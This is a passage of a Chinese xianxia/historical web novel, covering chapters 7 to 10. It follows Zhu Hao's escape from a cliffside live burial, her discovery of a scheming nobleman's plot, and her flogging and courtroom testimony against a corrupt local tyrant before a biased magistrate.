方絮因耳力过人,她觉察祝好体况有异,出言劝道:“不若祝姑娘暂歇片刻?方今距日沉西山尚早罢?倒不必相急。” 祝好仿若未闻她言,随片铁坼裂之音,祝好将第三枚钢钉自棺木拔出。 棺盖四角各嵌钢钉,而今仅余一角未拔,此匕却因久受力劲断成两截。匕刃本就小巧轻薄,如今相断更是难以将最后一枚钢钉拔离棺木。 然她怎可有须臾疲沓?坠崖骇感仍浮心头,祝好并未瞧见是何人将她推入葬崖,可那人既见不得她存世,若其人折返此地见她苟活崖下,难免复起杀心。 她等不得。 所幸匕刃孔洞未裂,祝好将未携孔洞的另截断匕丢弃,后从所着裙裾沿边撕下绦状布段,将其裹在匕刃尖锐处,祝好手隔衣布持刃,尽量避免匕刃再次划伤两手。她对准棺木钢钉与匕刃孔洞相嵌,两手攥紧以布料相裹的匕刃同时施力。 祝好体劲透支,她额上冷汗涔涔,两手血水透过衣布滴落棺木,祝好却咬牙不肯退让半步,她面色惨白两唇无色,这才见钢钉从棺木缓挺而出。 “方娘子,烦你自己移推棺盖。” 言罢,祝好将匕刃布绦揭去,将其缠于腕处。 耳闻闷声与木料相摩之音,棺盖以里被方絮因迂缓推开一角。 春阳映照入棺,方絮因两目灼痛,却见碧空飞鸟追风,好不恣意。 眼前黑影切近,不见飞鸟,只余断刃近抵喉间。 方絮因身着喜服正卧棺中,她额处竟同祝好一般磕破道血口。她姿容虽平,然她逢笑颊畔遂露梨涡,配上惹人怜的圆眼倒也小家碧玉。 方絮因:“祝姑娘提防我自是情理之中,然我此般横卧如何点燃旗花?” 祝好手中尖刃未退,她冷笑道:“我来点。” 方絮因面色如常,身临此等劣境未见张惶,她伸手往靴处游移,最末从里摸出一支旗花递交祝好,“将旗花末端火线拔去遂可点燃。” 祝好接过旗花,忽察弊端,她直言道:“慢着,我因遭人暗害方跌此崖,若我点燃旗花,先至此崖的并非尤二公子,而是将我推入崖下之人又当如何?若我遇险,可得拉方娘子垫背。” 方絮因闻此,缄默未言。 祝好遂问:“尤二公子可言明点燃旗花至多何时到此相协?” 祝好见方絮因双唇翕动两目圆睁,却迟迟未闻她言。 日头渐隐,方絮因未惧祝好抵于她颈间的断刃,她如沉渊困兽只顾挣脱枷锁挺身,祝好先前虽放言不少狠话,而今却下意识将利刃频频推后。 身后传来轰塌乱音,祝好欲回首相望,猝然被出棺的方絮因拽至旁侧。 祝好未及稳身,便见磐石滚落棺木与她方才伫身之地,撞击声响彻云霄,棺椁与几截粗木共坠悬崖。 “祝姑娘!” 祝好会意,将手中旗花火线拔断。 焰火直冲天际,至顶空绽出鎏金携莲纹烟束。 祝好心中暗讽,方才尚且犹决是否燃此旗花,岂料横祸先至,倒省去她与方絮因绞思。 因磐石冲劲,崖壁碎石渐落,俩人仰面远眺,只见崖上掠过人影,五短身形,体态圆润。 葬崖隘窄,本就不利闪避,况且粗木难承磐石之重,倘复落石,她与方絮因只得共葬此崖。 依如今险境,若想保身,唯与崖上始作者判谈。即便未得其效,拖上片时亦是利事。 奈何那人未想给祝好与方絮因此等良机。 耳畔轰鸣穿云裂石,近丈高的磐石压倒崖际一颗歪脖子树,它声势不减,直冲崖底俩人。 …… 小院环池天水一色,池中植荷馥郁生香。 宋携青闲卧小池云霭,衣袂浮于漪水,他百无聊赖地以指拨入小池,只见清波潋滟,一尾锦鲤欲跃清池,宋携青复拨漪水,水珠凝着青光将锦鲤弹至池岸,鱼儿金鳞炫熠扫尾扑腾,宋携青抬袖轻拂,池中激浪,遂将锦鲤顺回清池。 池荇将幻镜映景展于宋携青近前,叹道:“携青君若不施以援手,你方过门的小娘子恐将命葬危崖。” 宋携青欠伸,揶揄道:“倒是池荇君,既知祝好为我妻,怎可如此眷视于她?此行于礼不合。” 池荇抚掌笑言:“携青君莫非吃味了?既如此,怎狠得下心让祝娘子遭此劫难?若以凡骨坠此崖,或恐难全善身。” “她临前我已言明生死有命自有天定,然她自以心中慷慨大义非得为相识不过一日的生人送命。”宋携青嘴角噙着抹意味不明的笑,“我倒有千法万法令她难至西皋,然存何用?此事之后,或有张絮因、何絮因、江絮因,她若未曾撞南墙尝此苦,岂知下回方在哪座崖上?” 池荇唏嘘:“携青君,祝娘子如今已撞南墙,吃得此苦,那你看……” “不救。”宋携青阖眼,安之若素道:“自然,倘池荇君想救,我定不相阻。她经此劫若得以全命自知往后如何立身,她若因此殒命遂为命数使然,我亦无愧于她。” 池荇自知宋携青素来说一不二,如他所言,祝好既为他妻,宋携青若决意作壁上观,又岂轮到他相救? 幻镜所映,两位凡人姑娘皆至穷途,方絮因双脚踩空,若非祝好将腕间布绦与她相缠,复攥她手,方絮因早已随磐石共坠高崖。祝好与她倒也相差不差,只以另手攀住最后一根嵌木,她因下肢严蹬崖壁支身暂得苟命。 …… 方絮因脚底悬空风吹欲坠,“祝姑娘……你若松手维挺的时辰估摸更长些。” “方娘子倒是犟嘴,瞧你梨花带雨的泪容,分明畏死,何必言此空话?若你乞求于我,或将你与尤二公子的算盘说予我解闷,我倒是能再拉方娘子片刻。” “祝好,你就不惧死?” 祝好寡言,吸了吸鼻头方道:“我上无老下无小,又有何畏?” 方絮因面庞确是溢满涕泪,却非属她一人,祝好较之于她不也半斤八两? 祝好挥 7.买卖 《蕴他仙骨》全本免费阅读 祝好恍如沉身云雾,周遭忽白又黑,她于疾风中妄图紧攫己命,到头来唯有缕缕清风于她指尖穿掠。 她只身坠下云巅,齑身粉骨,她亦于梦魇中猝然惊醒。 祝好身卧矮榻,只见缥青罗帐掩映,她觉脑际昏沉,待她缓思半歇遂撑己身倚至藤枕。祝好撩开罗帐,榻前木杌置斗彩白瓷盅,残余药汤萦鼻。 祝好凑拢细闻,眉心微蹙。 她见室中仅置矮榻与一方木案,此间小屋她自是不识,祝好尤记她与方絮因齐坠峭崖,依现今景况臆断,她俩人该是得人所救。 祝好抚额,折哕斋所磕创口已然生痂,她所着衣物亦换作寻常素裳,可见距坠崖已过数日。 她蓦地往胸襟探去,待觑见指尖捻出鸾凤金纸所书婚契与盖有尤家钤印的身契方才心安,然宋携青予她的宅院锁匙却是不见其踪,想必是因坠崖所失。 祝好周身虽未觉伤痛,然四肢悬浮无力,她卯足劲下榻立身,眩晕之感席卷而至,她迂缓暂歇方觉起色。 她本欲推扉行外,忽闻远处吵嚷声入得两耳。 “公子,祝好昏睡十余日未见醒势,明日府衙陈案我一人足矣。” 此音她甚是熟稔,正出自与她齐坠崖的方絮因,祝好续而贴扉旁听,遂闻一道男音如冰棱淬骨般相回。 “三娘,你暗里私锻开棺绰匕真以为我不知吗?我不过是看在你的面上睁一只眼闭一只眼,如今不过是让她上堂指认尤衍,你亦要阻我?” “公子!我绝非此意,只是……公子设此局令尤衍困狱,不正欲为淮城铲除如他这般的恶霸吗?若我不曾锻此匕,若因公子所谋平白断送祝好性命,我们与尤衍又有何异?” “……三娘休要妇人之仁,再者,祝好不也安然?大成立国虽明令不得以活人殉葬,然尤衍定欲以财帛私买府衙官吏。”言此,男子冷笑,“父亲半月前令他携百金至岐州谈商,他倒好,将银钱尽数豪赌千金楼,落得个身无分文另言,偏巧欠下岐州太守家的小公子千两,他个狗肺狼心的东西,竟作弑父夺银的腌臜勾当,奈何荑苓作毒入药难以彻验,我只得出此下策将他一军。” 方絮因拧眉思忖,面上浮起凄色,“崖上置我与祝好死地之人为王莽,公子知吗?” 她与尤蘅自幼相识,初见时尤蘅因受尤衍欺凌跌入枯井,那年她十岁,为将他救离桎梏,纤小的掌心尽是因藤蔓捆勒的血痕。方絮因家境清贫,幸得尤蘅多年帮衬,然她并非只享他恩惠概不相还。譬如此次,她阿娘身受顽疾啮噬,家中虽有大哥却是个无用好赌的,方絮因一时拿不出银两为阿娘问医,尤蘅偏巧寻得她,更以银钱与她作此交易。 而尤蘅所谋,便是将尤衍送入牢狱。这也无怪,尤琅与其长子尤衍为淮城闻名遐迩的“土皇帝”,偏偏尤琅幼子不同,尤蘅端得是梁上君子怀瑾握瑜,偏又生得副俏模样,惹得城中适龄女儿无不为他痴迷。 尤衍将己父毒害,奈何尤父已近耄耋,仅需少量荑苓遂可致其毙命,纵然请仵作前来验尸,亦难察其间诡秘。尤衍愚信鬼神,尤蘅借此装神作鬼惹他难憩,尤衍心中栖鬼自是惶恐,遂请道士至府邸作法。道士出言尤琅需寻两位妙龄处子作陪葬方能令其父瞑目,尤衍明面上为尤琅寻新妾,实则为寻陪葬人选,方絮因家境赤贫,祝好名声狼藉,俩人无故殒命亦难掀大风大浪,最是合宜。 道士与方絮因皆为尤蘅亲信,为此局稳赢自得出人命,他不舍方絮因丧命,是以祝好必为死局。只待他救出方絮因,令她上堂鸣冤指认尤衍,加之尤衍方欠太守家小公子千银,尤蘅仅需吹吹耳旁风,即可大义灭亲。 岂料行婚当夜,宋姓公子携百金至尤府为祝好赎身,尤衍尚未承家财,自是缺金少银,何况太守家小公子催得紧债,尤衍仅凭二十两买入祝好,如今能以百金转卖怎可不动心?左不过少位陪葬女,应当不成大事,即便失事,他再寻个妙龄少女补上便罢。 尤蘅微露迟疑,他抬袖将方絮因额前碎发别至耳后,作笑道:“王莽虽为我心腹,此事我却概不知情,我若如此相言,三娘肯信吗?我的确盼着祝好殒命,亦知你欲暗中相救于她。你不惜以己身作饵,更将匕首转托祝好,三娘……是忌我为此谋弃你于不顾?你信祝好会舍命救你,唯独不愿信我。” “你见祝好身脱死局,遂敲定我会令你替她而陨?”尤蘅喟道:“三娘啊,莫要疑我,令我寒心。” 眼前的男子身着锦衣清秀儒雅,眉间蕴怜世间众生悲悯,他身携正风君子之姿,她……定是殚精竭虑所致,尤蘅对她那般好,怎会害她呢?他所言不错,祝好亦偃然存世,她不该疑他。 方絮因如此游说己身,心头却不知因何隐隐作痛。 她退步垂首,长睫掩绪:“公子,我已数日不曾归家探母,虽说家中尚有大哥主事,我亦将所得银钱交予大哥令他为母寻医,然明日我需为公子上堂谋事,尚不知何时得闲,今日我欲先返己家照护阿娘,明日巳时絮因定亲临府衙。” 方絮因往偏房纵目,“烦请公子遣人好生照拂祝好,倘她明日未醒,我一人亦可助公子成事。” 尤蘅自是不阻,待见方絮因行远,他将视线投至偏方,眸底划过冷意,“祝姑娘尚需窃听至何时?” 祝好闻此推扉见日,她踱步时浑身乏力,行至尤蘅近前已是气喘吁吁,“我与尤二公子作场买卖如何?” “说来听听。” 依方才窃听所得消讯,祝好已大略此局,不过是伪君子欲以活人殉葬将己兄一军。分明全局皆他所使,却又将己身撇得如此净彻。 然尤衍作恶多端,若因此伏狱确为城众之幸。再言,不论尤蘅以何种法子令其兄以活人作葬,亲行之人也确为尤衍无疑。 待理清此局思绪,祝好笑言:“明日我至府衙与方姑娘同指供尤衍。” 尤蘅闻言觑她,神色寂静无波,“祝姑娘可是在同我说笑呢?你所处之地,为我别邸。烦请祝姑娘明悟,并非你以此相胁于我,而是……祝姑娘所临境遇,只配任我所使。” 祝好为他拊掌,口中却另言:“咦?絮因姐姐不曾与你说过吗?我此人最是犟嘴,现今倒是能乖当应下公子所令,然则明日升堂岂知我且言何?我与絮因姐姐不同,未视二公子为心尖肉,何必吊死在公子这颗树上?自然,公子若觉指供之人只絮因姐 8.笞刑 《蕴他仙骨》全本免费阅读 淮城首富当属承嗣百年的尤家,此族世代多以营商为生,上到地产钱庄,下到盐业蚕缎,尤家皆涉足其中。 自尤琅继承祖业更是将商源遍及临州各县,再言尤琅之父,可谓百年难遇的风云人物。淮城尚未隶属大成国时,只奉城主为首,淮城百姓鲜有背井离乡至京为官,自百年前淮城归降大成,其父年仅二四竟一朝高中状元,不惑之年已位列左相,而淮城自建城以来,曾出过两位状元,其一便是尤琅之父,其二是为宋琅。 宋琅之名淮城恐已无人闻知,若言折哕斋所供神像大伙即可通晓,宋琅生于瀛国泺源三十七年,尊为城主长子,他本无需考取所谓功名,只待嗣位此城福造民众,他却执意入瀛朝为官。宋琅年仅十七高中状元,他得瀛帝赏识擢为太子太傅,年及二三贵为一朝帝师。然尤琅恶名昭彰罄竹难书,他身作帝师叛国另言,身为城主长子竟将城民置于砧俎任人宰割,大成开国皇帝欲径此城斩瀛帝,宋琅递降书敞城门,他置此城于危境,令淮城百姓苦遭烧杀抢掠。 琅也,洁清美玉,琅琅书音。 宋琅为奇才,更为恶徒。 尤琅之父为他取“琅”字,欲令其子承宋琅之才承其字之志,奈何尤琅空承其字,未承其才,仅承宋琅之恶。 尤家财势虎踞龙盘,尤琅其父虽逝几十余载,淮城官吏亦需让尤家几分薄面,尤琅与其长子尤衍再如何作奸犯科亦无人敢上堂指告。 直至十日前,城尾东郊二里地的方三娘敲击登闻鼓欲告尤琅长子尤衍,此事闹得满城风雨,府衙三番五次将人遣回,岂料方三娘一身硬骨头,任衙役如何威逼利诱皆未见消。 方三娘日日至府衙敲击登闻鼓,此事不知缘何遥传临州县郡,府衙见势不妙,若此事传至京都恐遭大祸临身,京都最遵大成律法,庶民与百官犯案皆比量齐观,淮城与京都所隔不远,府衙被逼无奈,只好于今日巳时受审。 巳时已至,扶光万里。 被告者尤衍已于府衙闲坐,其弟尤蘅伴侧,唯独不见苦主方三娘。 知府张谦高坐明堂,只闻他将手中惊堂木往紫檀审案侧重拍去,口中喝道:“好她个方三娘!时近午正,令本官与尤家公子候至此时!哼!定是此女欲以莫须有的罪名加身尤大公子!不若她怎畏上堂?她可知诬告者罪加三等!” 尤衍年近不惑,顶着圆滚酒腩双腿交叠落坐太师椅,“张大人,何必跟市井粗妇较真?嘿,她名头还算老子姨娘,倒是触霉!我父亲半月前身子尚康泰,岂知她一入门父亲竟乘鹤西去!她个蛮妇!老子尚未寻她要说法!她倒好!反污老子!” 尤蘅旁侧亦摆太师椅,他却未坐,伫身堂上多时,他见尤衍盛怒,遂劝言:“兄长,不若我们再候半刻?方三娘虽失期,然此女揣奸把猾,日后若以此作文章,谣我尤家蓄意歪曲时辰,岂不遂她所愿?我们尤家身正不惧影歪,多予她半刻又何妨?令淮城百姓瞧瞧,何为大家风范。” 尤衍未及回话,倒是知府张谦接言:“尤二公子倒是心善,然此女卑劣!怎配承此情?依本官看……”张谦斜观尤衍脸色,干咳几声方定道:“退堂!” “慢着!” 众人闻声回首,只见衙外已围满平头百姓观审,有位素裳小娘子拼劲挤身入里,周遭人头攒动拥挤不堪,小娘子扯着嗓子大喊:“民女祝好!欲告尤家长子尤衍!” 余声绕堂,尾音消弭之际,祝好越众而出。 尤蘅虽未见方絮因临堂,然此困境见得祝好指供其兄,倒也令他缓下半口气。 祝好倘若未至,今日案审便百无一用。 张谦力拍惊堂木,“祝好?”他微微点头,问言:“淮安街,克父克母复克夫的灾星祝好?你至府衙……欲告尤大公子?按大成律法,若非急案,递交诉状需得候期至多三日开审,你后头大有百姓待本官审理呢,祝娘子今日便先回罢。” “若民女所诉为急案呢?” “大成撰律,凡呈急案者可击诸衙登闻鼓。”尤蘅顿言,目视祝好,肃声道:“淮城民生逾万,张大人日理万机,每日需审公案近十,若以登闻鼓审其急案,需笞三十。此为大成律法,亦为淮城之法,祝娘子,遵否?” “既为正法,民女自然依。”祝好欲行衙外鼓前,方踏出一步,复言:“絮因接连敲击十日登闻鼓方求得此次上堂陈冤,大成律令,既为急案,各地长官需立审,然张大人延期数日,可算触及律法?” “其次,尤二公子,堂上应只被告与苦主,二公子缘何伫身内堂?纵使您为大公子人证,亦需待苦主诉状,张大人请身后方可入堂,您如今身于内堂……不符大成律令。”祝好侧身,眼觑翘腿闲坐的尤衍,“尤大公子既为被告,又怎可栖坐椅中?烦请尤大公子莫视大成律法于空物。” 众人忽闻惊堂木如雷炸响耳畔,张谦怒言:“大胆!你若与本官论法,便先受毕三十笞!” 祝好福身,“民女遵法,甘愿受刑。” 她旋身朝衙外围观民众鞠躬,“祝好受此笞刑并非屈身官威,而是笃信大成律法。善恶之分,对错与否,终得于法面前守得云开见月明。我虽名声狼藉,亦信百姓慧眼。” 祝好言罢,往衙扉登闻鼓踱去,人潮依旧,她耳闻看客低声窃语,却愿为她让出一条仄路。 鸣冤击鼓,声声铿锵,震得内外堂仿若皆同鼓声一齐鸣颤,其音更梭行于众人的五脏六腑。 张谦甫拍惊堂木,堂内待侍衙役遂向祝好逼近,诸役将她压身刑杌,荆条随破空之音抽身入皮。 尤蘅见已行刑,俯身欲退,“祝娘子所言极是,苦主未及诉状,庶民未得张大人请身,如今祝娘子既已受刑法,庶民尤蘅亦该遵法。”他向尤衍请示:“兄长以为呢?尤家风骨莫令此等宵小所较。” 尤衍闻此,虽万般不愿,亦得起身太师椅。 此诉案观者云集,他名声相比祝好较之甚劣,府衙诸吏虽皆打点,然衙外百姓无不盼他伏狱,他于礼法小事上不可再落下风。 尤蘅见此,方纵身离堂。 他步掠祝好身前,不觉垂首轻觑,方今应行近十笞,小娘子咬腕忍痛,只闻缝中断续传来呜咽声,她浑身冷汗透湿,将己身血水晕渲似梅,荆条翩飞间,骤见荆条倒刺尚垂血肉。 小娘子倏地对上他的眼,四目相交,她眼中氤氲水雾,却非雨下空洞,而是雨中乍见春阳。 尤蘅移目,步出堂槛。 祝好彻悟,方絮因之所以在药引里参入嗜睡药味令她昏睡十余日,无非早知此行为入虎口,方絮因千方百计阻她上堂指供,却筹划凭己一人捱下诸刑。 方絮因亦不曾料她竟提前缓醒罢? 祝好于心头默数,如今已至二十五笞,她脊背如火灼,方连骨柱皆近碎散。刑近终,她身觉衙役扬荆欲下死手,尤衍及堂上狗官竟欲令她无 9.血洗 《蕴他仙骨》全本免费阅读 祝好此言方出,四近里喧嚷声渐起。 瀛国自古风靡陪葬流俗,然自大成立国,开国皇帝明禁以活物殉葬,莫说活生生的人,即便是家禽走兽亦不可同人随葬,违令者当斩立决。大成至今已延国百年,各州各县,哪怕是边陲小城亦未闻以活人作葬的案宗,更何况是天子脚边的淮城? 祝家娘子所诉之案倒是撩起民众的兴头,再言,祝好所诉竟是淮城首富尤琅长子,谁人不晓尤衍为人四十年擢发难数?小到教匪滋事结党凌民,大到奸淫掳掠用贿营求,此城百姓无不畏他,无不盼他伏法。 是以,淮城百姓既闻祝好控诉此等人渣自是心潮澎湃,未及半刻钟,此案似如绵雨迅即洒向淮城匝地,衙外观场及其长街看客列队至数里。 张谦以惊堂木阻遏众人交耳,“空口无凭!再则尤家势众,尤氏既欲将你戕害作陪葬女,你又如何得以遁身?祝氏可携物证人证?” 祝好自襟捻出宋携青予她的身契,“此契印有祝岚香与尤衍私钤,寻常人家纳妾何须书身契?此契并非买民女之身,而是欲买民女性命。” “至于人证。”祝好意味深长地斜觑侧旁立候的尤衍,“城尾东郊二里地的方娘子便是民女的人证,或可言,民女与方娘子互为人证。方娘子日日至府衙敲击登闻鼓亦欲诉告尤衍以活人作葬!民女与方娘子……皆为陪葬人选,而民女并非于尤家遁身,正如张大人所言,尤家势众,民女一介手无缚鸡之力的弱女子又怎可与其匹敌?” “尤衍之所以释民女归家,只因宋姓公子以百金为民女赎身。奈何送信小厮玩忽职守,民女至尤家妆阁梳妆换衣时他尚未将此事传达,正因如此,民女方与方娘子于妆阁结识。”祝好言此,泫然泣下,“未想升堂鸣冤之际,方娘子竟不知所踪,今日机运絮因苦求十日方得!她又怎舍无故失期?” 祝好虽未直接挑明方絮因失期与尤衍相干,然大伙儿皆明其间暗喻。方絮因击鼓鸣冤十日,闹得淮城人尽皆知,尤衍岂会未觉?准是尤衍为令方絮因无从上堂指供,暗中相阻于她。而祝娘子直至今日方才露面,尤衍自是未料她会为方絮因上堂证言,这才将祝好遗漏,令她有机可乘立身府衙陈案。 尤衍闻此神情从容,他未见丝毫慌促,倒是张谦急赤白脸,“既如此,你与方氏从何得知尤氏欲行此等阴私?你与宋氏是何关系?他何故为你赎身?”张谦问言如许,遂朝两侧待侍衙役吩咐:“遣吏卒寻方氏,并传当日为祝氏与方氏梳妆的卖粉妪及送信小厮上堂。” 衙外稠人广众,张谦自需做足表面功夫。 祝好答言:“并非民女与方娘子齐悉尤衍阴私,方娘子自愿入尤家为妾,民女却是遭姨母所胁。送亲当夜,直至梳妆皆未闻宋公子为民女赎身音讯,民女自是心摇胆颤,生怕宋公子将与民女的海誓山盟抛之脑后另寻新欢,民女欲逃遁诘问宋公子,方娘子听闻此事对民女心生怜惜,遂予民女三十文乘舆。” 言此,祝好稍作缓息,犹渗血的唇畔漾笑:“所幸宋公子不曾情变,他将身契赠予民女,欲娶民女为妻,宋公子为民女未婚夫婿,民女与宋郎情深似海,宋郎亦对民女情根深种。方娘子因母亲顽疾嫁入尤家为妾以此贴补家用,是以翌日清晨民女欲将文钱还予方娘子,然民女方行半途,却见丧葬仪队途径,其间竟同时游行两幅灵柩,不只如此,更闻臭气熏天!民女自幼耳力过人,忽闻重物敲击板壁之音,然民女急于寻方娘子,不曾推究……” “未承想……民女至尤家时,忽闻尤员外迎妾当夜因心悸故去,尤家小厮言明,方娘子与尤员外鹣鲽情深,她不忍尤员外独身安葬,竟一头撞上灵柩欲与尤员外同去。”祝好如泣如诉:“民女斗胆直言,方娘子桃李年华,怎会与耄耋之年的尤员外鹣鲽情深?她嫁入尤家未及一日另言,方娘子既为其母入得尤家,又怎会因世间情爱将老母抛下……” 此言一出,仿若于人潮中掷入火药,万民犹如热锅上的蚁虫乱作一团,观者四下里无不垂首交耳。 祝好言辞激切,张谦闻众民所论多为偏颇祝好,他遂以惊堂木打断祝好所言,“停停停!你祝氏名声如何真当以为本官不知?淮城百姓不知?你虽生得月貌花庞然声名狼藉,宋氏既存百金为你赎身,定为名门望族,他家长亲怎许你入门为妻?莫说为妻,你为妾室皆恐损其气运!祝氏休得胡言!定是你与宋、方俩人合谋制骗术,欲以假案诓骗尤家财帛!” 祝好心中暗骂,她声名狼藉,宋携青同她相比又好哪去? 她虽如此想,面上却作悲凄怆色,祝好忍脊背灼痛,伏地叩拜,“民女冤枉!” 祝好连喊数声“冤枉”,方接言道:“民女忽忆行足途中两幅灵柩,首柩木料稀贵,尾柩较之平平,遂疑为尤家送葬仪队,民女追思所闻敲击板壁之音,揣测方娘子为假死之症,遂尾随仪队欲探究竟,民女通过尤家阶沿残遗壤土敲定葬地为西皋或淮岭,民女仗胆压赌西皋,果真于西皋上腰寻得仪队足迹,民女循迹至一方峭崖,见崖下以粗木嵌岩作底,上置两幅棺椁,崖下恰好游来方娘子悲啼喊救!民女本欲上报府衙,却遭人暗害跌崖!” 观者闻此,皆倒吸一口凉气。 “民女幸而跌身粗木作底的葬崖捡回小命。民女与方娘子齐力移揭棺盖,方娘子终得见日,然好景不长,将民女搡下峭崖之人竟掷磐石令民女与方娘子齐齐坠崖。”祝好以指拭去唇角污血,“歹人亦未料崖下为潭罢?民女与方娘子得猎户所救,方娘子于十日前觉醒并将尤衍所作极恶与猎户直言,并令其转诉民女。” 尤衍抚掌嘲道:“老子见祝娘子不单耳力过人!方连嗅觉皆可与猪狗相较!” 祝好懒得与他逞口舌之能,只当未闻其言。 正待此时,衙役将卖粉妪与送信小厮请至上堂,张谦无非问询迎亲当日可曾见得奇观异事,最末见二人所言与祝好言辞相应方将俩人遣散。 张谦自然知晓此二人所答无可重用,正遂他与尤衍之意。 观者之众,张谦与尤衍做戏自需做全套,他遂问言祝好,“祝氏,猎户与宋氏家住何地,及其名姓为何?将你推下峭崖之人为熟识?你可觑清其人?” 猎户自是尤蘅提前布设,祝好倒背如流:“猎户名作曹资,他因行猎故此居所不一,最为长居之地便是崖下茅屋。而将民女推下峭崖之人并非熟识,只依稀觑见此人五短身材,体态圆润。至于仙……”她顿言少顷,方答:“宋郎名携青,栖于南巷松鹤居,然宋郎常返京探长亲,民女昏睡数日,何敢断言宋郎可曾尚居其宅?” 谁人不知南巷松鹤居?此宅前身为世家别第,现今已被官署收作己用,多为招待京官。 前阵方闻外埠所至勋贵以万两置下此宅,最令众人惊诧之处莫过于祝娘子竟得此等高门公子垂爱。 众观者及张谦尤衍视她目光如电,祝好佯作沉着。 张谦朝衙役掷拘唤签,“传曹、宋二人及祝氏姨母入堂!”言罢,他转觑尤衍,“尤氏可备辩辞? 10.负屈 《蕴他仙骨》全本免费阅读 衙役近前探王莽鼻息,只见短剑没入颈间,透过血口依稀可视颈骨,他于瞬时毙命。 祝好脑际浮云扰绪,方连喘息皆滞。 若这场诉案未见血光,他家公子所谋势必履艰。 王莽为令其主稳操胜券,他忤尤蘅本意,擅自藏身西皋欲将她与方絮因置之死地。 王莽既欲戕害两条性命,他自是死有余辜,却非陨于此状。 祝好所想,王莽应当伏身正法,依大成律受诛。 此时此景,是她应尤蘅上堂陈词所未预想。 张谦倚坐高堂,朝衙役挥袖,“此人倒是作晦,带下堂。” 随声令下,王莽被众役拖下堂,他颈间血流不断,内堂至阶以他尸血为尤蘅铺就前路。 祝好参与其中,同为此路的建造者。 依王莽临前隐言,他看似为尤衍洗冤殉身甫将幼妹寄托其主,实则不然。 众人皆悟幼妹苦受尤衍挟制,尤衍更以其命胁王莽行不法之事,最末,王莽只得以己身性命换幼妹生路。 此行却适居其反,愈发坐实尤衍恶行。 尤衍见势不妙,终舍膝而跪,“草民冤枉!王莽确为草民亲卫,然草民未闻他家尚存幼妹!何得以此相胁?与草民同至岐州谈商亲从皆可作证!草民返城时确将王莽留于岐州!他何时归城草民当真不知!待下月……草民暂驻岐州亲卫返城万事遂明!何况方氏确为撞柩而亡!难不成草民还能逼着她撞不成?!此事尤家上下皆可作证!” “好一个‘尤家上下’。”祝好抚掌,“既同为尤家人,所证陈词自需推敲一二。” 张谦狐疑:“何须下月?尤氏令亲从即刻返城有何不可?如此亦好将疑情释解。” 尤衍钳口结舌,正待此时,衙役携祝岚香入得上堂,“回大人,曹、宋、方三人尚未寻得其踪。” 祝好闻此疑窦丛生,若按尤蘅所筹,此时作为猎户的曹资应当携以物证上堂与她共诉尤衍,尤蘅定已遣部下谨防尤衍对曹资下手,既如此,曹资怎会无故失迹? 祝岚香眼觑祝好跪身原告石,她三步并一步直奔祝好,“你这不知恩的小兔崽子!我好生将你拉扯这般大,你就如此还报于我?!你……你竟敢诬我!”言罢,祝岚香忽抬右臂欲掴祝好。 祝好泰然自若,“姨母,此地为府衙,并非祝宅。” 祝岚香闻言堪堪止住右臂,她倾身落跪,“张大人!满城皆知其女克双亲克夫婿!她声名如此,怎有人家娶她?若非尤大公子寻得民妇,愿以二十两作聘迎祝好入尤府为员外之妾,民妇真不知该如何慰告阿姊与姐夫在天之灵!阿姊待民妇极好,岂料她诞下此女遂陨,祝好再如何顽劣,民妇怎舍置亲阿姊之女于危难?” “慰告我爹娘在天之灵?”祝好轻嗤,“将我许给将入土的老叟便是姨母还我阿娘的恩情?” “尤员外家财万贯怎会苛待于你?这般好的亲事,竟被你说得如此不堪?!若非尤大公子与员外施恩,将你纳入尤家,恐你此番名声这辈子皆别想作人妇!” “施恩?”祝好文诘,“此等恩情若赠你,你要不要?” 祝岚香方欲再辩,却被张谦以惊堂木阻言,张谦问言祝岚香临婚诸事,他见此妇所言难堪大用,且言辞愈发激烈,仿若处身之地并非府衙而为市井作泼,张谦只觉头昏脑胀,遂令衙役将她请出内堂。 祝好伏地倾拜,“张大人,民女竟险些忘却,尤员外的棺椁同民女与方娘子齐坠峭崖,若从尤家所言,尤员外迎妾当夜方陨,翌日下葬,现为初春,尸身方置一夜怎溢腐臭?今距尤员外下葬时过半月,若请仵作查验尸身陨期,遂可断尤氏与民女何人作谎。” 张谦思量片刻方答:“距你与方氏坠崖亦经半月,时下入潭捞尸已难及,尤琅尸身早因潭水作腐,此法不通。” 祝好:“此事张大人莫愁,尤员外尸身于方落崖时已被曹资捞获,方娘子将其尸托于曹资暂存,只需寻得此人,诸事遂可昭然若揭。” 尤衍已面无人色,额汗挥即如雨,他两唇翕动,似欲言辩,却迟迟难言半字。 张谦将此景尽落两眼,他虽为昏官,然涉身官道几十载,怎未识人证物证辩词皆为祝好占上风? 尤琅身死,尤衍既为长子理应承其父财势,尤家纵横商道百年,祖父身尊开国皇帝左相,尤衍事后更以财帛致恩于他,左右苦主无非两个涉世未深的小姑娘,再言俩人并未因此惨丢性命,祝好与方三娘此等无名鼠辈,他偏颇尤衍又如何?淮城之内,谁人敢指斥于他? 张谦如此作想,他遂言:“祝氏,今日本该方氏上堂,然方氏失期。王氏为证尤氏清白更以己身性命沉冤,身具尸证的曹氏亦无所踪,方连你口中的宋郎本官皆未所寻。今日之案,祝氏未呈以实效物证,你所呈布绦、钢钉、疮疤皆可作伪,依本官看,此案需寻方、曹二人复审,如若寻不得,烦祝氏敛集铁证呈堂。” “铁证?”祝好言中隐刺,“敢问张大人──何为铁证?王氏所言所行缘何不作证?堂外百姓尚且昭然,王氏为受尤氏所胁!此事倘不论,王氏于西皋欲置民女与方娘子死地亦不论吗?!他既为尤氏亲卫,张大人怎能未对尤氏质询?民女若非事先见过王氏,怎知其样貌?” “若依张大人所言铁证,只怕民女将尤琅尸身置于此堂,张大人亦会以伪作尸身治民女的罪。或则,民女与方娘子因此案遭尤衍戕害方为铁证?只因民女与方娘子自死地遁身,‘谋杀之罪’便难诉案了?” 布绦与王莽确为尤蘅所设之局,然他如此偏颇尤衍,怎可为一地长官? 淮城平头百姓多受尤家欺压凌辱,数年未曾诉案因惧尤家之势,然依今日堂审,岂知若非父母官昏昧? 时至此,曹资仍未入堂,若今日难定尤衍之罪,唯恐她这条小命难及复审。 祝好正思忖以何作辩方得拖时半刻,她却耳闻张谦言道:“退堂!” 祝好难捱心头肝火,横竖出得此衙她命皆难全,既如此,她先骂个痛快,“张……” 她喉嗓骤如呛物难言,祝好捂颈发出吱唔乱声,她却始终难言半字。 